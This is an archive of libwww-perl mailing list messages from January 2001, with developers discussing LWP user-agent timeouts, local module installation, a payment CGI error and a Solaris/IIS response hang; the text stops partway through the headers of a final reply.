Received: from ho-tai.sri.net (dsl.sri.net [166.84.144.77])
	by staging.sri.net (8.8.8/8.8.8) with ESMTP id XAA19669;
	Mon, 22 Jan 2001 23:01:54 -0500 (EST)
Received: (from kstar@localhost)
	by ho-tai.sri.net (8.11.2/8.11.2/Debian 8.11.2-1) id f0N417t28172;
	Mon, 22 Jan 2001 23:01:07 -0500
Date: Mon, 22 Jan 2001 23:01:07 -0500
From: "Kurt D. Starsinic" <kstar@cpan.org>
To: C K <sleepinginseattle@hotmail.com>
Cc: libwww@perl.org
Subject: Re: How do you get libwww-perl.5.48 to timeout?
Message-ID: <20010122230107.A27929@sri.net>
References: <F131HK91rGGXP9ww1Wy00006715@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <F131HK91rGGXP9ww1Wy00006715@hotmail.com>; from sleepinginseattle@hotmail.com on Mon, Jan 22, 2001 at 02:27:30PM -0800

On Mon, Jan 22, 2001 at 02:27:30PM -0800, C K wrote:
> I'm setting my user agent, for libwww-perl-5.48, to time out in 15
> secs.  But, occassionally some sites are just causing my script to
> hang for like 12-20 minutes waiting for a response, example:
> http://storebuilder.infospace.com/infospacecom/shop/default.asp
> 
> I'm trying to find out why.
> 
> So, I tried using alarm() and $SIG{ALRM}.  This helped a little by
> timing out according to what I first set alarm(10) to.  But, it's
> still hangin on the link shown above.
> 
> Has anybody encountered the timeout function for a user agent, not
> stopping after a certain period waiting for a response?
> 
> Thanks in advance for your advice!

    I've seen this.  I think that it's occurring during the gethostbyname()
or connect() calls.  It is a pain in the neck, and if you find a solution,
I'll be grateful.

    Peace,
    Kurt
|       `People wish to be settled; only as far as they are unsettled       |
|        is there any hope for them.' -- Ralph Waldo Emerson                |


From josh.barker@inceptor.com Tue Jan 23 00:59:04 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa29138 for <hyper>;
          23 Jan 2001 00:59 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa19647
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 23 Jan 2001 00:58 PST
Received: (qmail 18665 invoked by uid 508); 23 Jan 2001 08:58:48 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 18654 invoked from network); 23 Jan 2001 08:58:47 -0000
Received: from unknown (HELO MAILSERVER1.inceptor.com) (64.69.117.135)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 08:58:47 -0000
Received: from inceptor.com (gateway.inceptor.co.uk [62.189.33.18]) by MAILSERVER1.inceptor.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id D12JAN37; Tue, 23 Jan 2001 03:52:10 -0500
Message-ID: <3A6D49F7.1060807@inceptor.com>
Date: Tue, 23 Jan 2001 09:08:07 +0000
From: Josh <josh.barker@inceptor.com>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.14-5.0smp i686; en-US; 0.7) Gecko/20010105
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: Re: How do you get libwww-perl.5.48 to timeout?
References: <F131HK91rGGXP9ww1Wy00006715@hotmail.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

C K wrote:

> Has anybody encountered the timeout function for a user agent, not
> stopping after a certain period waiting for a response?

Yes...the best method of avoiding this is to use a proxy server such as 
Squid to cache requests. Apart from using alarms and fetching web pages 
with a single process, I don't alternative (yet)...

Josh


From jm@netnoteinc.com Tue Jan 23 04:01:12 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07434 for <hyper>;
          23 Jan 2001 04:01 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08076
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 23 Jan 2001 04:01 PST
Received: (qmail 2260 invoked by uid 508); 23 Jan 2001 12:00:59 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 2240 invoked from network); 23 Jan 2001 12:00:57 -0000
Received: from gw.netnoteinc.com (HELO mail.netnoteinc.com) (193.120.149.226)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 12:00:57 -0000
Received: from thalassa.netnoteinc.com (thalassa.netnoteinc.com [194.125.189.175])
	by mail.netnoteinc.com (Postfix) with ESMTP
	id 411B0114087; Tue, 23 Jan 2001 12:00:54 +0000 (Eire)
Received: from thalassa.netnoteinc.com (IDENT:jm@localhost [127.0.0.1])
	by thalassa.netnoteinc.com (8.9.3/8.8.7) with ESMTP id LAA06293;
	Tue, 23 Jan 2001 11:54:54 GMT
Message-Id: <200101231154.LAA06293@thalassa.netnoteinc.com>
To: "Kurt D. Starsinic" <kstar@cpan.org>
Cc: C K <sleepinginseattle@hotmail.com>, libwww@perl.org
Subject: Re: How do you get libwww-perl.5.48 to timeout? 
In-Reply-To: Message from "Kurt D. Starsinic" <kstar@cpan.org> 
   of "Mon, 22 Jan 2001 23:01:07 EST." <20010122230107.A27929@sri.net> 
From: Justin Mason <jm@netnoteinc.com>
X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A  6ADD 4137 1B50 6E58 EF0A
Date: Tue, 23 Jan 2001 11:54:54 +0000
Sender: jm@mail.netnoteinc.com


"Kurt D. Starsinic" said:

>     I've seen this.  I think that it's occurring during the gethostbyname()
> or connect() calls.  It is a pain in the neck, and if you find a solution,
> I'll be grateful.

Just speculating -- but should alarm() be able to interrupt these?

--j.

From rp@win.tue.nl Tue Jan 23 08:20:41 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18885 for <hyper>;
          23 Jan 2001 08:20 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa17137
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 23 Jan 2001 08:20 PST
Received: (qmail 16952 invoked by uid 508); 23 Jan 2001 16:20:32 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 16943 invoked from network); 23 Jan 2001 16:20:31 -0000
Received: from mailhost.tue.nl (131.155.2.5)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 16:20:31 -0000
Received: from svis02.win.tue.nl (svis02.win.tue.nl [131.155.70.172])
	by mailhost.tue.nl (8.11.0/8.11.0) with ESMTP id f0NGKPq27286;
	Tue, 23 Jan 2001 17:20:25 +0100 (MET)
Received: (from rp@localhost)
	by svis02.win.tue.nl (8.11.0/8.11.1) id f0NGKOp08818;
	Tue, 23 Jan 2001 17:20:24 +0100 (MET)
Message-ID: <20010123172024.A8792@win.tue.nl>
Date: Tue, 23 Jan 2001 17:20:24 +0100
From: Reinier Post <rp@win.tue.nl>
To: bobmin@nidlink.com
Cc: LWP mailing list <libwww@perl.org>
Subject: Re: Off topic question
References: <lrpuhjfm3m.fsf@caliper.ActiveState.com> <200101210652.f0L6qFX13670@weasel.spud.net> <3A6BF5F0.19580.132929@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93i
In-Reply-To: <3A6BF5F0.19580.132929@localhost>; from bobmin@nidlink.com on Mon, Jan 22, 2001 at 08:57:20AM -0800

On Mon, Jan 22, 2001 at 08:57:20AM -0800, bobmin@nidlink.com wrote:
> I know this is off topic, but can some perhaps point me to a 
> resource online that shows how you can load a perl module into 
> your local cgi-bin and use it locally. I'm running into a case of a host 
> admin that refuses to install some modules for some of our software. 
> It would be a lot easier if I could provide instructions for people that 
> want to install our software if the module is missing and the admin is 
> uncooperative.

Well, the basic idea is, set $PERLLIB to the installation location,
both at installation time and at use time.  At use time you can also use

  use lib <libdir>


-- 
Reinier

From kstar@cpan.org Tue Jan 23 11:56:32 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08068 for <hyper>;
          23 Jan 2001 11:56 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa14378
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 23 Jan 2001 11:56 PST
Received: (qmail 26204 invoked by uid 508); 23 Jan 2001 19:56:17 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26187 invoked from network); 23 Jan 2001 19:56:16 -0000
Received: from mailhost.sri.net (HELO staging.sri.net) (166.84.185.3)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 19:56:16 -0000
Received: from ho-tai.sri.net (dsl.sri.net [166.84.144.77])
	by staging.sri.net (8.8.8/8.8.8) with ESMTP id OAA26302;
	Tue, 23 Jan 2001 14:56:15 -0500 (EST)
Received: (from kstar@localhost)
	by ho-tai.sri.net (8.11.2/8.11.2/Debian 8.11.2-1) id f0NJtO002791;
	Tue, 23 Jan 2001 14:55:24 -0500
Date: Tue, 23 Jan 2001 14:55:24 -0500
From: "Kurt D. Starsinic" <kstar@cpan.org>
To: Justin Mason <jm@netnoteinc.com>
Cc: C K <sleepinginseattle@hotmail.com>, libwww@perl.org
Subject: Re: How do you get libwww-perl.5.48 to timeout?
Message-ID: <20010123145524.A2781@sri.net>
References: <kstar@cpan.org> <200101231154.LAA06293@thalassa.netnoteinc.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <200101231154.LAA06293@thalassa.netnoteinc.com>; from jm@netnoteinc.com on Tue, Jan 23, 2001 at 11:54:54AM +0000

On Tue, Jan 23, 2001 at 11:54:54AM +0000, Justin Mason wrote:
> "Kurt D. Starsinic" said:
> 
> >     I've seen this.  I think that it's occurring during the gethostbyname()
> > or connect() calls.  It is a pain in the neck, and if you find a solution,
> > I'll be grateful.
> 
> Just speculating -- but should alarm() be able to interrupt these?

    It should be, but it can't.  I believe that the code in question
is wrapped in an eval { }.

    - Kurt


From John_Gerrish@dot.state.ak.us Wed Jan 24 14:11:27 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa21327 for <hyper>;
          24 Jan 2001 14:11 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa26062
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 24 Jan 2001 14:11 PST
Received: (qmail 10468 invoked by uid 508); 24 Jan 2001 22:11:21 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10459 invoked from network); 24 Jan 2001 22:11:21 -0000
Received: from hydra1.dot.state.ak.us (HELO web.dot.state.ak.us) (158.145.110.231)
  by tmtowtdi.perl.org with SMTP; 24 Jan 2001 22:11:21 -0000
Received: from dot.state.ak.us ([158.145.111.44]) by web.dot.state.ak.us
          (Netscape Messaging Server 3.6)  with ESMTP id AAA10D3
          for <libwww@perl.org>; Wed, 24 Jan 2001 13:10:51 -0900
Message-ID: <3A6F530F.BE698F04@dot.state.ak.us>
Date: Wed, 24 Jan 2001 13:11:27 -0900
From: John Gerrish <John_Gerrish@dot.state.ak.us>
Reply-To: John_Gerrish@dot.state.ak.us
Organization: Alaska Marine Highway System
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: Request Post error useragent.pm line 227
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I am (occasionally) receiving this error:
[23/Jan/2001:15:57:47] failure (10907): for host
 158.###.###.117 trying to POST /cgi-bin/test/paycc.cgi,
 cgieng_scan_headers reports: the CGI program
 /usr/netscape/server4/cgi-bin/test/paycc.cgi did not
 produce a valid header (name without value: got line
 "can't call method "request" on an undefined value at
 /usr/local/lib/perl5/site_perl/5.6.0/lwp/useragent.pm
 line 227.")

in my httpd log when performing:

   use HTTP::Request::Common qw(POST);
   use LWP::UserAgent;
   $ua = LWP::UserAgent->new;

   my $req = POST "https:\/\/$cc_gateway_host$script",
   [   'x_Login'           => $cc_merchantID
      ,'x_Test_Request'    => $cc_test_mode
...
      ,'x_Description'     => $pay_xact_desc
   ];
   $response = $ua->request($req)->as_string;

To call a credit card processor within the CGI script for
my web pages.  It works ok 80% of the time.

The really strange thing is that the CC processor does react 
to my request (the transaction is processed perfectly)
but the error kills my CGI so user sees an incomplete page.

Does anyone have any insight into this problem?  Could some
error trap on my "$response = $ua->request($req)->as_string;"
statement allow me to recover from the error?  
Or could I copy UserAgent.pm into my directory and attempt to 
debug it?

# $Id: UserAgent.pm,v 1.73 2000/04/07 11:29:04 gisle Exp $
# $Id: Request.pm,v 1.27 1999/11/17 20:38:14 gisle Exp $
# $Id: Common.pm,v 1.16 1999/10/28 11:49:02 gisle Exp $

bash-2.03$ perl -V
Summary of my perl5 (revision 5.0 version 6 subversion 0)
configuration:
  Platform:
    osname=solaris, osvers=2.8, archname=sun4-solaris
    uname='sunos chaos 5.8 generic_108528-02 sun4u sparc
sunw,ultra-5_10 '
    config_args='-de'
...
    cc='cc', optimize='-O', gccversion=2.95.2 19991024 (release)
...
Characteristics of this binary (from libperl):
  Compile-time options: USE_LARGE_FILES
  Built under solaris
  Compiled at Nov  7 2000 11:33:38
  @INC:
    /usr/local/lib/perl5/5.6.0/sun4-solaris
    /usr/local/lib/perl5/5.6.0
    /usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris
    /usr/local/lib/perl5/site_perl/5.6.0
    /usr/local/lib/perl5/site_perl  

-- tia
John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
                 Alaska Marine Highway System, DOT/PF, State of Alaska
                 3132 Channel Dr, Juneau, AK  99801
Blessed are the flexible for they shall not be bent out of shape.

From robert@chalmers.com.au Wed Jan 24 14:35:52 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa23757 for <hyper>;
          24 Jan 2001 14:35 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01256
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 24 Jan 2001 14:35 PST
Received: (qmail 13889 invoked by uid 508); 24 Jan 2001 22:35:43 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 13877 invoked from network); 24 Jan 2001 22:35:41 -0000
Received: from gateway.chalmers.com.au (HELO nanguo.chalmers.com.au) (203.1.96.1)
  by tmtowtdi.perl.org with SMTP; 24 Jan 2001 22:35:41 -0000
Received: from carbon (carbon.chalmers.com.au [203.1.96.26])
	by nanguo.chalmers.com.au (8.11.0/8.11.0) with SMTP id f0OMWXb25002;
	Thu, 25 Jan 2001 08:32:33 +1000 (EST)
Message-ID: <000d01c08655$3dd11a70$1a6001cb@chalmers.com.au>
From: Robert <robert@chalmers.com.au>
To: John_Gerrish@dot.state.ak.us, libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
References: <3A6F530F.BE698F04@dot.state.ak.us>
Subject: Re: Request Post error useragent.pm line 227
Date: Thu, 25 Jan 2001 08:30:21 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

I had exactly the same error the other day. Took me a week to find it. . I
tracked it down to a conflict with the encryption method DES. (Crypt::DES) I
switched to "Blowfish" and the error went away.


bob
> I am (occasionally) receiving this error:
> [23/Jan/2001:15:57:47] failure (10907): for host
>  158.###.###.117 trying to POST /cgi-bin/test/paycc.cgi,
>  cgieng_scan_headers reports: the CGI program
>  /usr/netscape/server4/cgi-bin/test/paycc.cgi did not
>  produce a valid header (name without value: got line
>  "can't call method "request" on an undefined value at
>  /usr/local/lib/perl5/site_perl/5.6.0/lwp/useragent.pm
>  line 227.")
>
> in my httpd log when performing:
>
>    use HTTP::Request::Common qw(POST);
>    use LWP::UserAgent;
>    $ua = LWP::UserAgent->new;
>
>    my $req = POST "https:\/\/$cc_gateway_host$script",
>    [   'x_Login'           => $cc_merchantID
>       ,'x_Test_Request'    => $cc_test_mode
> ...
>       ,'x_Description'     => $pay_xact_desc
>    ];
>    $response = $ua->request($req)->as_string;
>
> To call a credit card processor within the CGI script for
> my web pages.  It works ok 80% of the time.
>
> The really strange thing is that the CC processor does react
> to my request (the transaction is processed perfectly)
> but the error kills my CGI so user sees an incomplete page.
>
> Does anyone have any insight into this problem?  Could some
> error trap on my "$response = $ua->request($req)->as_string;"
> statement allow me to recover from the error?
> Or could I copy UserAgent.pm into my directory and attempt to
> debug it?
>
> # $Id: UserAgent.pm,v 1.73 2000/04/07 11:29:04 gisle Exp $
> # $Id: Request.pm,v 1.27 1999/11/17 20:38:14 gisle Exp $
> # $Id: Common.pm,v 1.16 1999/10/28 11:49:02 gisle Exp $
>
> bash-2.03$ perl -V
> Summary of my perl5 (revision 5.0 version 6 subversion 0)
> configuration:
>   Platform:
>     osname=solaris, osvers=2.8, archname=sun4-solaris
>     uname='sunos chaos 5.8 generic_108528-02 sun4u sparc
> sunw,ultra-5_10 '
>     config_args='-de'
> ...
>     cc='cc', optimize='-O', gccversion=2.95.2 19991024 (release)
> ...
> Characteristics of this binary (from libperl):
>   Compile-time options: USE_LARGE_FILES
>   Built under solaris
>   Compiled at Nov  7 2000 11:33:38
>   @INC:
>     /usr/local/lib/perl5/5.6.0/sun4-solaris
>     /usr/local/lib/perl5/5.6.0
>     /usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris
>     /usr/local/lib/perl5/site_perl/5.6.0
>     /usr/local/lib/perl5/site_perl
>
> -- tia
> John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
>                  Alaska Marine Highway System, DOT/PF, State of Alaska
>                  3132 Channel Dr, Juneau, AK  99801
> Blessed are the flexible for they shall not be bent out of shape.
>


From philip_mitchell@harvard.edu Thu Jan 25 09:26:27 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa27243 for <hyper>;
          25 Jan 2001 09:26 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa16311
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 25 Jan 2001 09:26 PST
Received: (qmail 25791 invoked by uid 508); 25 Jan 2001 17:26:15 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 25782 invoked from network); 25 Jan 2001 17:26:14 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 25 Jan 2001 17:26:14 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id MAA03125
	for <libwww@perl.org>; Thu, 25 Jan 2001 12:26:11 -0500 (EST)
Message-Id: <4.3.2.7.2.20010125115241.00af1de0@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Jan 2001 12:26:00 -0500
To: libwww@perl.org
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: Help debugging LWP::Protocol::http problem
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

LWP reports a server error when the server is fine, b/c of the following 
obscure problem:

There is an interaction between Solaris and certain web servers (notably 
Microsoft-IIS/4.0) where the response to a GET comes back improperly 
terminated. You can observe this independently of LWP by doing a "telnet 
www.ndu.edu 80",
and then "GET http://www.ndu.edu/ndu/inss/strforum/forum83.html"
You will see telnet receive the response (it's a 404), but then (usually 
but not always) fail to terminate. As far as I know, you will only see this 
on Solaris (I'm on Solaris 7, have heard similar problems w/ 6); I've tried 
same under Linux and haven't seen this problem. I have seen this on a 
number of other sites.

The problem seems to be that LWP reports a server error (500) b/c it times 
out while waiting for the missing EOF terminator. I've turned on LWP::Debug 
and see it hang, apparently in the LWP::Protocol::http->request subroutine, 
or possible in collect(), though I'm not sure. You can see that LWP 
received the response, so it ought to do more than just report a timeout.

Here is the output from a typical run:

LWP::UserAgent::new: ()
HTTP::Cookies::add_cookie_header: Checking www.ndu.edu for cookies
HTTP::Cookies::add_cookie_header: Checking .ndu.edu for cookies
LWP::UserAgent::simple_request: GET 
http://www.ndu.edu/ndu/inss/strforum/forum83.html
LWP::UserAgent::_need_proxy: Not proxied
LWP::Protocol::http::request: ()
LWP::Protocol::http::request: GET /ndu/inss/strforum/forum83.html HTTP/1.0
Host: www.ndu.edu
Range: bytes=0-524288
User-Agent: libwww-perl/5.48

LWP::Protocol::http::request: reading response
LWP::Protocol::http::request: HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/4.0
Date: Thu, 25 Jan 2001 16:38:46 GMT
Content-Length: 461
Content-Type: text/html

<html><head><title>Error 404</title>

<meta name="robots" content="noindex">
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"></head>

<body>

<h2>HTTP Error 404</h2>

<p><strong>404 Not Found</strong></p>

<p>The Web server cannot find the file or script you asked for. Please 
check the URL to ensure that the path is correct.</p>

<p>Please contact the server's administrator if this problem persists.</p>

</body></html>
LWP::Protocol::http::request: HTTP/1.1 404 Object Not Found
LWP::Protocol::collect: read 461 bytes

[This is where LWP hangs...]




From sleepinginseattle@hotmail.com Thu Jan 25 14:41:34 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa24721 for <hyper>;
          25 Jan 2001 14:41 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18166
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 25 Jan 2001 14:41 PST
Received: (qmail 16345 invoked by uid 508); 25 Jan 2001 22:41:27 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 16336 invoked from network); 25 Jan 2001 22:41:27 -0000
Received: from f249.law11.hotmail.com (HELO hotmail.com) (64.4.17.249)
  by tmtowtdi.perl.org with SMTP; 25 Jan 2001 22:41:26 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 25 Jan 2001 14:41:00 -0800
Received: from 207.149.72.101 by lw11fd.law11.hotmail.msn.com with HTTP;	Thu, 25 Jan 2001 22:41:00 GMT
X-Originating-IP: [207.149.72.101]
From: C K <sleepinginseattle@hotmail.com>
To: libwww@perl.org
Subject: Stopping on the web!
Date: Thu, 25 Jan 2001 14:41:00 -0800
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F249rBoe2U8QVjp3b6u000002eb@hotmail.com>
X-OriginalArrivalTime: 25 Jan 2001 22:41:00.0387 (UTC) FILETIME=[E3E9F330:01C0871F]

Hi, I have a webcheck script that can be named webcheck.pl or webcheck.cgi

If named webcheck.pl, it allows command line execution, verbose printout as 
it checks a site, and termination of the script via Ctrl-C (should a website 
be taking to long to check and parse)

If named webcheck.cgi, it allows online execution, verbose html printout 
(similar to verbose command line printout) as it checks a site, and 
termination via the browser's stop button (supposedly???).  Even though I 
press the browser's stop button, doesn't the script continue to run on the 
backend, until the script finishes checking and parsing a site?

Do you know how I can catch the user's cancellation via pressing the stop 
button or exiting the browser?  Can one even do this?

Even though I do have a limit on number of pages allowed for webchecking, I 
was just curious if it's possible to check for user cancellations.

Well, thanks in advanced for your input!

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From weaver27@earthlink.net Fri Jan 26 05:27:43 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa14950 for <hyper>;
          26 Jan 2001 05:27 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06615
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 26 Jan 2001 05:27 PST
Received: (qmail 27344 invoked by uid 508); 26 Jan 2001 13:27:36 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 27335 invoked from network); 26 Jan 2001 13:27:34 -0000
Received: from hawk.prod.itd.earthlink.net (207.217.120.22)
  by tmtowtdi.perl.org with SMTP; 26 Jan 2001 13:27:34 -0000
Received: from earthlink.net (1Cust107.tnt5.phoenix.az.da.uu.net [63.14.196.107])
	by hawk.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id FAA20505;
	Fri, 26 Jan 2001 05:27:32 -0800 (PST)
Message-ID: <3A717B44.E82A194@earthlink.net>
Date: Fri, 26 Jan 2001 06:27:32 -0700
From: Justin Case <weaver27@earthlink.net>
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en-US,en,en-GB
MIME-Version: 1.0
To: C K <sleepinginseattle@hotmail.com>
CC: libwww@perl.org
Subject: Re: Stopping on the web!
References: <F249rBoe2U8QVjp3b6u000002eb@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

C K wrote:
> If named webcheck.cgi, it allows online execution, verbose html printout
> as it checks a site, and termination via the browser's stop button
> Do you know how I can catch the user's cancellation via pressing the stop
> button or exiting the browser?  Can one even do this?

Why make your users wait?

I have a spider program (using perl and libwww) that you start with your
browser, but then you go away and come back later to see the results, which are
written to a file. That way, if you have a big web site and it takes hours or
days to check it, the user does not have to tie up their browser the whole time.

From John_Gerrish@dot.state.ak.us Fri Jan 26 12:40:26 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13453 for <hyper>;
          26 Jan 2001 12:40 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa27059
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 26 Jan 2001 12:40 PST
Received: (qmail 25216 invoked by uid 508); 26 Jan 2001 20:40:16 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 25206 invoked from network); 26 Jan 2001 20:40:14 -0000
Received: from hydra1.dot.state.ak.us (HELO web.dot.state.ak.us) (158.145.110.231)
  by tmtowtdi.perl.org with SMTP; 26 Jan 2001 20:40:14 -0000
Received: from dot.state.ak.us ([158.145.111.44]) by web.dot.state.ak.us
          (Netscape Messaging Server 3.6)  with ESMTP id AAA25E3;
          Fri, 26 Jan 2001 11:39:46 -0900
Message-ID: <3A71E0E7.40C701A7@dot.state.ak.us>
Date: Fri, 26 Jan 2001 11:41:11 -0900
From: John Gerrish <John_Gerrish@dot.state.ak.us>
Reply-To: John_Gerrish@dot.state.ak.us
Organization: Alaska Marine Highway System
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Robert <robert@chalmers.com.au>
CC: libwww@perl.org
